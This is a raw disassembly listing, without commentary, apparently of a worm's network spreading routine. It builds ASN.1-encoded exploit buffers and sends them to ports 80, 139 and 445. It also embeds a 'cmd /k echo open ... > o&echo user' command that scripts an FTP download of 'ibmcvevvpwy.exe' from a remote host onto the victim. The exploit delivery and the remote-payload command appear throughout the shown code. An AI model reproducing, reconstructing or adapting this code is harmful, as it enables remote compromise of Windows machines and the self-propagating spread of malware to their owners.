call sub_41B780
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C500
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C700: ; CODE XREF: sub_40C6CE+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C6CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C708 proc near ; CODE XREF: sub_40C7FA+18p
; sub_40C874+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_41B6C5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C754
push edi
push 0
push esi
call sub_41B780
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C500
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C500
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C754: ; CODE XREF: sub_40C708+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C708 endp
; =============== S U B R O U T I N E =======================================
sub_40C75D proc near ; CODE XREF: sub_40C7FA+5Ep
; sub_40C7FA+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C76D
push eax
call sub_41B2A1
pop ecx
loc_40C76D: ; CODE XREF: sub_40C75D+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C75D endp
; =============== S U B R O U T I N E =======================================
sub_40C776 proc near ; CODE XREF: sub_40C7FA+20p
; sub_40C8D5+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C7A0
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_41B6C5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C7A4
loc_40C7A0: ; CODE XREF: sub_40C776+Dj
xor al, al
jmp short loc_40C7F6
; ---------------------------------------------------------------------------
loc_40C7A4: ; CODE XREF: sub_40C776+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_41B780
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C7C4
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40C7D9
; ---------------------------------------------------------------------------
loc_40C7C4: ; CODE XREF: sub_40C776+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40C7D9: ; CODE XREF: sub_40C776+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_41C500
add esp, 0Ch
push dword ptr [esi]
call sub_41B2A1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C7F6: ; CODE XREF: sub_40C776+2Cj
pop edi
pop esi
pop ebx
retn
sub_40C776 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C7FA proc near ; CODE XREF: sub_40C930+89p
; sub_40C930+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CDAB0
call sub_40C708
lea ecx, [ebp+var_8]
call sub_40C776
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B6C5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C834
xor al, al
jmp short loc_40C870
; ---------------------------------------------------------------------------
loc_40C834: ; CODE XREF: sub_40C7FA+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B780
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C500
add esp, 18h
mov ecx, esi
call sub_40C75D
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C75D
mov al, 1
loc_40C870: ; CODE XREF: sub_40C7FA+38j
pop edi
pop esi
leave
retn
sub_40C7FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C874 proc near ; CODE XREF: sub_40C8A8+14p
; sub_40C8C5+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C708
mov ecx, esi
call sub_40C75D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40C874 endp
; =============== S U B R O U T I N E =======================================
sub_40C8A8 proc near ; CODE XREF: sub_40C930+F0p
; sub_40C930+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B1D0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C874
pop esi
retn 4
sub_40C8A8 endp
; =============== S U B R O U T I N E =======================================
sub_40C8C5 proc near ; CODE XREF: sub_40C911+Bp
; sub_40C930+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C874
retn 8
sub_40C8C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8D5 proc near ; CODE XREF: sub_40C911+16p
; sub_40C930+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C776
test al, al
jz short loc_40C90E
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42DF84
call sub_40C708
mov ecx, esi
call sub_40C75D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40C90E: ; CODE XREF: sub_40C8D5+Fj
pop esi
leave
retn
sub_40C8D5 endp
; =============== S U B R O U T I N E =======================================
sub_40C911 proc near ; CODE XREF: sub_40C930+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40C8C5
test al, al
jz short loc_40C92C
mov ecx, esi
call sub_40C8D5
loc_40C92C: ; CODE XREF: sub_40C911+12j
pop esi
retn 8
sub_40C911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C930 proc near ; CODE XREF: seg000:0040D1A9p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C6C4
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CC74
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CC74
push esi
lea ecx, [ebp+var_30]
call sub_40C6C4
lea ecx, [ebp+var_20]
call sub_40C6C4
lea ecx, [ebp+var_50]
call sub_40C6C4
lea ecx, [ebp+var_18]
call sub_40C6C4
lea ecx, [ebp+var_40]
call sub_40C6C4
lea ecx, [ebp+var_38]
call sub_40C6C4
lea ecx, [ebp+var_28]
call sub_40C6C4
push 4
push offset dword_4333D4
lea ecx, [ebp+var_30]
call sub_40C874
push 3
push offset dword_4333DC
lea ecx, [ebp+var_30]
call sub_40C874
lea ecx, [ebp+var_30]
call sub_40C7FA
lea ecx, [ebp+var_30]
call sub_40C8D5
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B780
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40C874
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40C874
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40C874
lea ecx, [ebp+var_20]
call sub_40C7FA
push offset loc_433764
lea ecx, [ebp+var_50]
call sub_40C8A8
lea ecx, [ebp+var_50]
call sub_40C7FA
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C6CE
lea ecx, [ebp+var_58]
call sub_40C7FA
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40C911
lea ecx, [ebp+var_58]
call sub_40C75D
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B780
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40C8A8
push 4
push offset dword_4333E0
lea ecx, [ebp+var_18]
call sub_40C874
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40C874
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40C874
lea ecx, [ebp+var_18]
call sub_40C7FA
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40C8C5
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40C8C5
lea ecx, [ebp+var_40]
call sub_40C8D5
lea ecx, [ebp+var_18]
call sub_40C75D
lea ecx, [ebp+var_50]
call sub_40C75D
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40C8C5
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40C8C5
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40C8C5
lea ecx, [ebp+var_38]
call sub_40C8D5
lea ecx, [ebp+var_20]
call sub_40C75D
lea ecx, [ebp+var_30]
call sub_40C75D
lea ecx, [ebp+var_40]
call sub_40C75D
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40C874
lea ecx, [ebp+var_28]
call sub_40C7FA
push 2
push offset dword_433758
lea ecx, [ebp+var_28]
call sub_40C874
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40C8C5
lea ecx, [ebp+var_28]
call sub_40C8D5
lea ecx, [ebp+var_38]
call sub_40C75D
lea ecx, [ebp+var_10]
call sub_40C6C4
lea ecx, [ebp+var_8]
call sub_40C6C4
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40C8C5
lea ecx, [ebp+var_10]
call sub_40C776
lea ecx, [ebp+var_28]
call sub_40C75D
push offset dword_433754
lea ecx, [ebp+var_8]
call sub_40C8A8
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C8C5
lea ecx, [ebp+var_8]
call sub_40C776
lea ecx, [ebp+var_10]
call sub_40C75D
push offset dword_433750
lea ecx, [ebp+var_10]
call sub_40C8A8
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40C8C5
lea ecx, [ebp+var_10]
call sub_40C776
lea ecx, [ebp+var_8]
call sub_40C75D
push offset dword_433744
lea ecx, [ebp+var_8]
call sub_40C8A8
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C8C5
lea ecx, [ebp+var_8]
call sub_40C776
lea ecx, [ebp+var_10]
call sub_40C75D
push (offset loc_43373F+1)
lea ecx, [ebp+var_48]
call sub_40C8A8
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40C8C5
lea ecx, [ebp+var_8]
call sub_40C75D
pop esi
loc_40CC74: ; CODE XREF: sub_40C930+1Bj
; sub_40C930+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40C930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC86 proc near ; CODE XREF: sub_40CD4A+A2p
; sub_40CD4A+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_428228 ; select
cmp eax, edi
jnz short loc_40CCED
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426A18 ; __WSAFDIsSet
test eax, eax
jnz short loc_40CCF1
loc_40CCED: ; CODE XREF: sub_40CC86+54j
xor eax, eax
jmp short loc_40CD01
; ---------------------------------------------------------------------------
loc_40CCF1: ; CODE XREF: sub_40CC86+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4CDC10 ; recv
loc_40CD01: ; CODE XREF: sub_40CC86+69j
pop edi
pop esi
leave
retn
sub_40CC86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD05 proc near ; CODE XREF: sub_40CD4A+80p
; sub_40CD4A+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_4CDBF4 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_4CDC48 ; send
cmp eax, 4
jz short loc_40CD2F
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CD2F: ; CODE XREF: sub_40CD05+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4CDC48 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CD05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD4A proc near ; CODE XREF: sub_40CE29+48p
; seg000:0040D29Ap
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B6C5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CD73
xor al, al
jmp loc_40CE24
; ---------------------------------------------------------------------------
loc_40CD73: ; CODE XREF: sub_40CD4A+20j
push ebx
push 0
push esi
call sub_41B780
push 2Fh
push offset dword_433470
push esi
call sub_41C500
push 8
lea eax, [esi+31h]
push offset dword_4334A0
push eax
mov [esi+2Fh], di
call sub_41C500
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C500
push 6
add ebx, edi
push offset dword_4D08F8
push ebx
call sub_41C500
push 85h
push offset dword_4333E8
push [ebp+arg_0]
call sub_40CD05
add esp, 48h
test al, al
jnz short loc_40CDDA
loc_40CDD6: ; CODE XREF: sub_40CD4A+B8j
xor bl, bl
jmp short loc_40CE1B
; ---------------------------------------------------------------------------
loc_40CDDA: ; CODE XREF: sub_40CD4A+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40CC86
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_40CD05
add esp, 1Ch
test al, al
jz short loc_40CDD6
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40CC86
add esp, 10h
mov bl, 1
loc_40CE1B: ; CODE XREF: sub_40CD4A+8Ej
push esi
call sub_41B2A1
pop ecx
mov al, bl
loc_40CE24: ; CODE XREF: sub_40CD4A+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CD4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE29 proc near ; CODE XREF: seg000:0040D280p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4334B0
push [ebp+arg_0]
call ds:dword_428224 ; send
cmp eax, 48h
jnz short loc_40CE64
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CC86
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40CE64
cmp [ebp+var_20], 82h
jz short loc_40CE68
loc_40CE64: ; CODE XREF: sub_40CE29+1Bj
; sub_40CE29+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CE68: ; CODE XREF: sub_40CE29+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CD4A
add esp, 0Ch
leave
retn
sub_40CE29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE7B proc near ; CODE XREF: sub_40CEC7+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_428698
call sub_41C988
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_428690
fstp [esp+10h+var_10]
call sub_41C869
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C988
inc eax
leave
retn
sub_40CE7B endp
; =============== S U B R O U T I N E =======================================
sub_40CEC7 proc near ; CODE XREF: sub_40D066+24p
var_40 = qword ptr -40h
mov eax, offset loc_4270BB
call sub_41CE54
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_40D4F9
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_40CE7B
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40CF09
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D473
loc_40CF09: ; CODE XREF: sub_40CEC7+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D027
mov ebx, [ebp+10h]
loc_40CF18: ; CODE XREF: sub_40CEC7+157j
cmp dword ptr [ebp+10h], 3
jb short loc_40CF23
push 3
loc_40CF20: ; CODE XREF: sub_40CEC7+64j
pop ebx
jmp short loc_40CF36
; ---------------------------------------------------------------------------
loc_40CF23: ; CODE XREF: sub_40CEC7+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40CF2D
push 2
jmp short loc_40CF20
; ---------------------------------------------------------------------------
loc_40CF2D: ; CODE XREF: sub_40CEC7+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_40CF36
xor ebx, ebx
inc ebx
loc_40CF36: ; CODE XREF: sub_40CEC7+5Aj
; sub_40CEC7+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_4286A0
fstp [esp+40h+var_40]
call sub_41C9AF
pop ecx
pop ecx
call sub_41C988
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40CF75
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40CF75: ; CODE XREF: sub_40CEC7+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40CFE3
add [ebp-18h], eax
loc_40CFC7: ; CODE XREF: sub_40CEC7+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, ds:byte_433500[eax]
push eax
push 1
call sub_40D2F4
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40CFC7
loc_40CFE3: ; CODE XREF: sub_40CEC7+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D001
push dword ptr [ebp+14h]
call sub_41B1D0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D34E
mov [ebp-18h], edi
loc_40D001: ; CODE XREF: sub_40CEC7+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D01B
sub esi, [ebp-1Ch]
loc_40D00C: ; CODE XREF: sub_40CEC7+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D2F4
dec esi
jnz short loc_40D00C
loc_40D01B: ; CODE XREF: sub_40CEC7+140j
cmp [ebp+10h], edi
ja loc_40CF18
xor ebx, ebx
inc ebx
loc_40D027: ; CODE XREF: sub_40CEC7+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D4F9
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_40D3A6
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D4F9
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40CEC7 endp
; =============== S U B R O U T I N E =======================================
sub_40D066 proc near ; CODE XREF: seg000:0040D263p
mov eax, offset loc_4270D8
call sub_41CE54
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43FDB4
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40CEC7
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B6C5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D0B0
xor bl, bl
jmp short loc_40D0F4
; ---------------------------------------------------------------------------
loc_40D0B0: ; CODE XREF: sub_40D066+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4286A8
cmp ecx, ebx
jnz short loc_40D0BE
mov ecx, eax
loc_40D0BE: ; CODE XREF: sub_40D066+54j
cmp [ebp+18h], ebx
jz short loc_40D0C6
mov eax, [ebp+18h]
loc_40D0C6: ; CODE XREF: sub_40D066+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41BB70
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
cmp eax, esi
jz short loc_40D0EB
xor bl, bl
jmp short loc_40D0ED
; ---------------------------------------------------------------------------
loc_40D0EB: ; CODE XREF: sub_40D066+7Fj
mov bl, 1
loc_40D0ED: ; CODE XREF: sub_40D066+83j
push edi
call sub_41B2A1
pop ecx
loc_40D0F4: ; CODE XREF: sub_40D066+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D4F9
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D4F9
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D066 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_4336B0
push eax
call sub_41C500
add esp, 0Ch
mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
push eax
push eax
movzx eax, word ptr ds:dword_4CD938
push eax
push dword ptr [ebp+8]
call sub_40AAF8
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41BB70
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_433548
push eax
call sub_40C930
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D1BF
xor eax, eax
jmp loc_40D2E7
; ---------------------------------------------------------------------------
loc_40D1BF: ; CODE XREF: seg000:0040D1B6j
mov [ebp-0Ch], esi
loc_40D1C2: ; CODE XREF: seg000:0040D2C2j
test esi, esi
jnz loc_40D2C8
push 6
push 1
push 2
call ds:dword_428220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D2B0
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call ds:dword_4CDBF8 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_4CDC38 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call ds:dword_4CDBA0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D2A5
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D26D
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D4F9
lea eax, [ebp+0Ch]
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D531
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D066
add esp, 1Ch
jmp short loc_40D2A2
; ---------------------------------------------------------------------------
loc_40D26D: ; CODE XREF: seg000:0040D22Bj
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D287
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CE29
jmp short loc_40D29F
; ---------------------------------------------------------------------------
loc_40D287: ; CODE XREF: seg000:0040D277j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D2A5
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CD4A
loc_40D29F: ; CODE XREF: seg000:0040D285j
add esp, 0Ch
loc_40D2A2: ; CODE XREF: seg000:0040D26Bj
movzx esi, al
loc_40D2A5: ; CODE XREF: seg000:0040D21Ej
; seg000:0040D291j
push ebx
call ds:dword_4CDC90 ; closesocket
test esi, esi
jnz short loc_40D2BB
loc_40D2B0: ; CODE XREF: seg000:0040D1DBj
push 3E8h
call ds:dword_428064 ; Sleep
loc_40D2BB: ; CODE XREF: seg000:0040D2AEj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D1C2
loc_40D2C8: ; CODE XREF: seg000:0040D1C4j
lea ecx, [ebp-8]
call sub_40C75D
test esi, esi
jz short loc_40D2E5
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40D2E5: ; CODE XREF: seg000:0040D2D2j
mov eax, esi
loc_40D2E7: ; CODE XREF: seg000:0040D1BAj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42709C
loc_40D2EC: ; CODE XREF: sub_42709C+3j
; seg000:004270B5j ...
push 1
call sub_40D4F9
retn
; END OF FUNCTION CHUNK FOR sub_42709C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40CEC7+111p
; sub_40CEC7+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
